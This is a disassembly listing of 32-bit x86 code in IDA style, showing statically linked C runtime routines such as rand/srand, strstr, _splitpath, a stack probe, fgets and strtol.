; Attributes: bp-based frame


sub_41DB50	proc near		; CODE XREF: sub_41FDB0+61p
					; sub_41FDB0+A7p
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_421B20
		add	esp, 4
		pop	ebp
		retn
sub_41DB50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB60	proc near		; CODE XREF: sub_41D990+1Cp
					; sub_41D990+2Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp


loc_41DB63:				; CODE XREF: sub_41DB60+21j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41DB83
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jz	short loc_41DB78
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx]


loc_41DB78:				; CODE XREF: sub_41DB60+11j
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		jmp	short loc_41DB63
; ---------------------------------------------------------------------------


loc_41DB83:				; CODE XREF: sub_41DB60+9j
		pop	ebp
		retn
sub_41DB60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB90	proc near		; CODE XREF: seg000:00402755p
					; seg000:004054B7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_425C30
		mov	ecx, [ebp+arg_0]
		mov	[eax+14h], ecx
		pop	ebp
		retn
sub_41DB90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DBA0	proc near		; CODE XREF: seg000:loc_403B0Dp
					; seg000:004054BDp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_425C30
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	edx, [ebp+var_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		shr	eax, 10h
		and	eax, 7FFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_41DBA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DBE0	proc near		; CODE XREF: seg000:004030B2p
					; seg000:00403262p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41DC5A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41DC47


loc_41DBF8:				; CODE XREF: sub_41DBE0+52j
					; sub_41DBE0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41DC1A
		test	al, al
		jz	short loc_41DC14


loc_41DC09:				; CODE XREF: sub_41DBE0+32j
		mov	al, [esi]
		inc	esi


loc_41DC0C:				; CODE XREF: sub_41DBE0+3Fj
		cmp	al, dl
		jz	short loc_41DC1A
		test	al, al
		jnz	short loc_41DC09


loc_41DC14:				; CODE XREF: sub_41DBE0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DC1A:				; CODE XREF: sub_41DBE0+23j
					; sub_41DBE0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41DC0C
		lea	edi, [esi-1]


loc_41DC24:				; CODE XREF: sub_41DBE0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41DC53
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41DBF8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41DC53
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41DC24
		jmp	short loc_41DBF8
; ---------------------------------------------------------------------------


loc_41DC47:				; CODE XREF: sub_41DBE0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41E656
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DBE0+49j
					; sub_41DBE0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41DC5A:				; CODE XREF: sub_41DBE0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41DBE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC60	proc near		; CODE XREF: seg000:004078DCp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41AC70
		add	esp, 4
		cmp	eax, 1
		jb	short loc_41DCBB
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx+1]
		cmp	edx, 3Ah
		jnz	short loc_41DCBB
		cmp	[ebp+arg_4], 0
		jz	short loc_41DCB0
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_426610
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+2], 0


loc_41DCB0:				; CODE XREF: sub_41DC60+35j
		mov	eax, [ebp+arg_0]
		add	eax, 2
		mov	[ebp+arg_0], eax
		jmp	short loc_41DCC7
; ---------------------------------------------------------------------------


loc_41DCBB:				; CODE XREF: sub_41DC60+23j
					; sub_41DC60+2Fj
		cmp	[ebp+arg_4], 0
		jz	short loc_41DCC7
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	0


loc_41DCC7:				; CODE XREF: sub_41DC60+59j
					; sub_41DC60+5Fj
		mov	[ebp+var_C], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		jmp	short loc_41DCDF
; ---------------------------------------------------------------------------


loc_41DCD6:				; CODE XREF: sub_41DC60:loc_41DD3Cj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41DCDF:				; CODE XREF: sub_41DC60+74j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41DD3E
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		xor	edx, edx
		mov	dl, ds:byte_4EEF41[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_41DD0A
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_41DD3C
; ---------------------------------------------------------------------------


loc_41DD0A:				; CODE XREF: sub_41DC60+9Dj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Fh
		jz	short loc_41DD20
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 5Ch
		jnz	short loc_41DD2B


loc_41DD20:				; CODE XREF: sub_41DC60+B3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	short loc_41DD3C
; ---------------------------------------------------------------------------


loc_41DD2B:				; CODE XREF: sub_41DC60+BEj
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_41DD3C
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_41DD3C:				; CODE XREF: sub_41DC60+A8j
					; sub_41DC60+C9j ...
		jmp	short loc_41DCD6
; ---------------------------------------------------------------------------


loc_41DD3E:				; CODE XREF: sub_41DC60+87j
		cmp	[ebp+var_C], 0
		jz	short loc_41DD94
		cmp	[ebp+arg_8], 0
		jz	short loc_41DD8C
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_41DD62
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		jmp	short loc_41DD69
; ---------------------------------------------------------------------------


loc_41DD62:				; CODE XREF: sub_41DC60+F5j
		mov	[ebp+var_14], 0FFh


loc_41DD69:				; CODE XREF: sub_41DC60+100j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_426610
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_41DD8C:				; CODE XREF: sub_41DC60+E8j
		mov	ecx, [ebp+var_C]
		mov	[ebp+arg_0], ecx
		jmp	short loc_41DDA0
; ---------------------------------------------------------------------------


loc_41DD94:				; CODE XREF: sub_41DC60+E2j
		cmp	[ebp+arg_8], 0
		jz	short loc_41DDA0
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx],	0


loc_41DDA0:				; CODE XREF: sub_41DC60+132j
					; sub_41DC60+138j
		cmp	[ebp+var_8], 0
		jz	loc_41DE4A
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_0]
		jb	loc_41DE4A
		cmp	[ebp+arg_C], 0
		jz	short loc_41DDFF
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jnb	short loc_41DDD5
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		jmp	short loc_41DDDC
; ---------------------------------------------------------------------------


loc_41DDD5:				; CODE XREF: sub_41DC60+168j
		mov	[ebp+var_18], 0FFh


loc_41DDDC:				; CODE XREF: sub_41DC60+173j
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_426610
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	0


loc_41DDFF:				; CODE XREF: sub_41DC60+15Aj
		cmp	[ebp+arg_10], 0
		jz	short loc_41DE48
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_8]
		cmp	edx, 0FFh
		jnb	short loc_41DE1E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_41DE25
; ---------------------------------------------------------------------------


loc_41DE1E:				; CODE XREF: sub_41DC60+1B1j
		mov	[ebp+var_1C], 0FFh


loc_41DE25:				; CODE XREF: sub_41DC60+1BCj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_426610
		add	esp, 0Ch
		mov	edx, [ebp+arg_10]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx],	0


loc_41DE48:				; CODE XREF: sub_41DC60+1A3j
		jmp	short loc_41DE9E
; ---------------------------------------------------------------------------


loc_41DE4A:				; CODE XREF: sub_41DC60+144j
					; sub_41DC60+150j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DE92
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_41DE68
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		jmp	short loc_41DE6F
; ---------------------------------------------------------------------------


loc_41DE68:				; CODE XREF: sub_41DC60+1FBj
		mov	[ebp+var_20], 0FFh


loc_41DE6F:				; CODE XREF: sub_41DC60+206j
		mov	edx, [ebp+var_20]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_426610
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_41DE92:				; CODE XREF: sub_41DC60+1EEj
		cmp	[ebp+arg_10], 0
		jz	short loc_41DE9E
		mov	ecx, [ebp+arg_10]
		mov	byte ptr [ecx],	0


loc_41DE9E:				; CODE XREF: sub_41DC60:loc_41DE48j
					; sub_41DC60+236j
		mov	esp, ebp
		pop	ebp
		retn
sub_41DC60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DEB0	proc near		; CODE XREF: sub_402EAE+8p
					; seg000:0040302Ep ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41DED0


loc_41DEBC:				; CODE XREF: sub_41DEB0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41DEBC


loc_41DED0:				; CODE XREF: sub_41DEB0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41DEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEE0	proc near		; CODE XREF: seg000:00406F30p
					; seg000:00406F5Fp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_10], ecx


loc_41DEF5:				; CODE XREF: sub_41DEE0+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41DF19
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	3Bh
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DF19
		int	3		; Trap to Debugger


loc_41DF19:				; CODE XREF: sub_41DEE0+19j
					; sub_41DEE0+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41DEF5


loc_41DF1F:				; CODE XREF: sub_41DEE0+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41DF43
		push	offset dword_4394FC
		push	0
		push	3Ch
		push	offset aFgets_c	; "fgets.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DF43
		int	3		; Trap to Debugger


loc_41DF43:				; CODE XREF: sub_41DEE0+43j
					; sub_41DEE0+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DF1F
		cmp	[ebp+arg_4], 0
		jg	short loc_41DF56
		xor	eax, eax
		jmp	loc_41E017
; ---------------------------------------------------------------------------


loc_41DF56:				; CODE XREF: sub_41DEE0+6Dj
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41F070
		add	esp, 4


loc_41DF68:				; CODE XREF: sub_41DEE0:loc_41DFFDj
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_4], 0
		jz	loc_41E002
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41DFB3
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		and	ecx, 0FFh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		jmp	short loc_41DFC2
; ---------------------------------------------------------------------------


loc_41DFB3:				; CODE XREF: sub_41DEE0+B1j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_423E50
		add	esp, 4
		mov	[ebp+var_14], eax


loc_41DFC2:				; CODE XREF: sub_41DEE0+D1j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_41DFE1
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+arg_0]
		jnz	short loc_41DFDF
		mov	[ebp+var_10], 0
		jmp	short loc_41E008
; ---------------------------------------------------------------------------


loc_41DFDF:				; CODE XREF: sub_41DEE0+F4j
		jmp	short loc_41E002
; ---------------------------------------------------------------------------


loc_41DFE1:				; CODE XREF: sub_41DEE0+ECj
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+var_C]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+var_C]
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		cmp	ecx, 0Ah
		jnz	short loc_41DFFD
		jmp	short loc_41E002
; ---------------------------------------------------------------------------


loc_41DFFD:				; CODE XREF: sub_41DEE0+119j
		jmp	loc_41DF68
; ---------------------------------------------------------------------------


loc_41E002:				; CODE XREF: sub_41DEE0+95j
					; sub_41DEE0:loc_41DFDFj ...
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0


loc_41E008:				; CODE XREF: sub_41DEE0+FDj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41F0E0
		add	esp, 4
		mov	eax, [ebp+var_10]


loc_41E017:				; CODE XREF: sub_41DEE0+71j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41DEE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_41E040
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E040	proc near		; CODE XREF: seg000:0041E031p
					; sub_41E380+11p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41E064:				; CODE XREF: sub_41E040+77j
		cmp	ds:dword_44FD20, 1
		jle	short loc_41E086
		push	8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_18], eax
		jmp	short loc_41E0A0
; ---------------------------------------------------------------------------


loc_41E086:				; CODE XREF: sub_41E040+2Bj
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8
		mov	[ebp+var_18], ecx


loc_41E0A0:				; CODE XREF: sub_41E040+44j
		cmp	[ebp+var_18], 0
		jz	short loc_41E0B9
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_41E064
; ---------------------------------------------------------------------------


loc_41E0B9:				; CODE XREF: sub_41E040+64j
		movsx	edx, byte ptr [ebp+var_8]
		cmp	edx, 2Dh
		jnz	short loc_41E0DD
		mov	eax, [ebp+arg_C]
		or	al, 2
		mov	[ebp+arg_C], eax
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_41E0F7
; ---------------------------------------------------------------------------


loc_41E0DD:				; CODE XREF: sub_41E040+80j
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 2Bh
		jnz	short loc_41E0F7
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_41E0F7:				; CODE XREF: sub_41E040+9Bj
					; sub_41E040+A4j
		cmp	[ebp+arg_8], 0
		jl	short loc_41E109
		cmp	[ebp+arg_8], 1
		jz	short loc_41E109
		cmp	[ebp+arg_8], 24h
		jle	short loc_41E11E


loc_41E109:				; CODE XREF: sub_41E040+BBj
					; sub_41E040+C1j
		cmp	[ebp+arg_4], 0
		jz	short loc_41E117
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[edx], eax


loc_41E117:				; CODE XREF: sub_41E040+CDj
		xor	eax, eax
		jmp	loc_41E36D
; ---------------------------------------------------------------------------


loc_41E11E:				; CODE XREF: sub_41E040+C7j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E15C
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 30h
		jz	short loc_41E136
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41E15C
; ---------------------------------------------------------------------------


loc_41E136:				; CODE XREF: sub_41E040+EBj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 78h
		jz	short loc_41E14C
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 58h
		jnz	short loc_41E155


loc_41E14C:				; CODE XREF: sub_41E040+FFj
		mov	[ebp+arg_8], 10h
		jmp	short loc_41E15C
; ---------------------------------------------------------------------------


loc_41E155:				; CODE XREF: sub_41E040+10Aj
		mov	[ebp+arg_8], 8


loc_41E15C:				; CODE XREF: sub_41E040+E2j
					; sub_41E040+F4j ...
		cmp	[ebp+arg_8], 10h
		jnz	short loc_41E19B
		movsx	eax, byte ptr [ebp+var_8]
		cmp	eax, 30h
		jnz	short loc_41E19B
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 78h
		jz	short loc_41E181
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 58h
		jnz	short loc_41E19B


loc_41E181:				; CODE XREF: sub_41E040+134j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41E19B:				; CODE XREF: sub_41E040+120j
					; sub_41E040+129j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_10], eax


loc_41E1A6:				; CODE XREF: sub_41E040+26Bj
		cmp	ds:dword_44FD20, 1
		jle	short loc_41E1C7
		push	4
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_1C], eax
		jmp	short loc_41E1E2
; ---------------------------------------------------------------------------


loc_41E1C7:				; CODE XREF: sub_41E040+16Dj
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_1C], eax


loc_41E1E2:				; CODE XREF: sub_41E040+185j
		cmp	[ebp+var_1C], 0
		jz	short loc_41E1F4
		movsx	ecx, byte ptr [ebp+var_8]
		sub	ecx, 30h
		mov	[ebp+var_14], ecx
		jmp	short loc_41E253
; ---------------------------------------------------------------------------


loc_41E1F4:				; CODE XREF: sub_41E040+1A6j
		cmp	ds:dword_44FD20, 1
		jle	short loc_41E219
		push	103h
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		push	edx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_20], eax
		jmp	short loc_41E236
; ---------------------------------------------------------------------------


loc_41E219:				; CODE XREF: sub_41E040+1BBj
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 103h
		mov	[ebp+var_20], edx


loc_41E236:				; CODE XREF: sub_41E040+1D7j
		cmp	[ebp+var_20], 0
		jz	short loc_41E251
		movsx	eax, byte ptr [ebp+var_8]
		push	eax
		call	sub_426810
		add	esp, 4
		sub	eax, 37h
		mov	[ebp+var_14], eax
		jmp	short loc_41E253
; ---------------------------------------------------------------------------


loc_41E251:				; CODE XREF: sub_41E040+1FAj
		jmp	short loc_41E2B0
; ---------------------------------------------------------------------------


loc_41E253:				; CODE XREF: sub_41E040+1B2j
					; sub_41E040+20Fj
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+arg_8]
		jb	short loc_41E25D
		jmp	short loc_41E2B0
; ---------------------------------------------------------------------------


loc_41E25D:				; CODE XREF: sub_41E040+219j
		mov	edx, [ebp+arg_C]
		or	edx, 8
		mov	[ebp+arg_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_10]
		jb	short loc_41E283
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_10]
		jnz	short loc_41E292
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	[ebp+var_14], edx
		ja	short loc_41E292


loc_41E283:				; CODE XREF: sub_41E040+22Cj
		mov	edx, [ebp+var_C]
		imul	edx, [ebp+arg_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_C], edx
		jmp	short loc_41E29A
; ---------------------------------------------------------------------------


loc_41E292:				; CODE XREF: sub_41E040+234j
					; sub_41E040+241j
		mov	eax, [ebp+arg_C]
		or	al, 4
		mov	[ebp+arg_C], eax


loc_41E29A:				; CODE XREF: sub_41E040+250j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_41E1A6
; ---------------------------------------------------------------------------


loc_41E2B0:				; CODE XREF: sub_41E040:loc_41E251j
					; sub_41E040+21Bj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		and	edx, 8
		test	edx, edx
		jnz	short loc_41E2D8
		cmp	[ebp+arg_4], 0
		jz	short loc_41E2CF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41E2CF:				; CODE XREF: sub_41E040+287j
		mov	[ebp+var_C], 0
		jmp	short loc_41E34A
; ---------------------------------------------------------------------------


loc_41E2D8:				; CODE XREF: sub_41E040+281j
		mov	ecx, [ebp+arg_C]
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_41E312
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jnz	short loc_41E34A
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41E2FF
		cmp	[ebp+var_C], 80000000h
		ja	short loc_41E312


loc_41E2FF:				; CODE XREF: sub_41E040+2B4j
		mov	ecx, [ebp+arg_C]
		and	ecx, 2
		test	ecx, ecx
		jnz	short loc_41E34A
		cmp	[ebp+var_C], 7FFFFFFFh
		jbe	short loc_41E34A


loc_41E312:				; CODE XREF: sub_41E040+2A0j
					; sub_41E040+2BDj
		call	sub_4267E0
		mov	dword ptr [eax], 22h
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jz	short loc_41E330
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_41E34A
; ---------------------------------------------------------------------------


loc_41E330:				; CODE XREF: sub_41E040+2E5j
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41E343
		mov	[ebp+var_C], 80000000h
		jmp	short loc_41E34A
; ---------------------------------------------------------------------------


loc_41E343:				; CODE XREF: sub_41E040+2F8j
		mov	[ebp+var_C], 7FFFFFFFh


loc_41E34A:				; CODE XREF: sub_41E040+296j
					; sub_41E040+2AAj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_41E358
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx


loc_41E358:				; CODE XREF: sub_41E040+30Ej
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41E36A
		mov	ecx, [ebp+var_C] ; CODE	XREF: sub_41E3D0+Dj
		neg	ecx
		mov	[ebp+var_C], ecx


loc_41E36A:				; CODE XREF: sub_41E040+320j
		mov	eax, [ebp+var_C]


loc_41E36D:				; CODE XREF: sub_41E040+D9j
		mov	esp, ebp
		pop	ebp
		retn
sub_41E040	endp

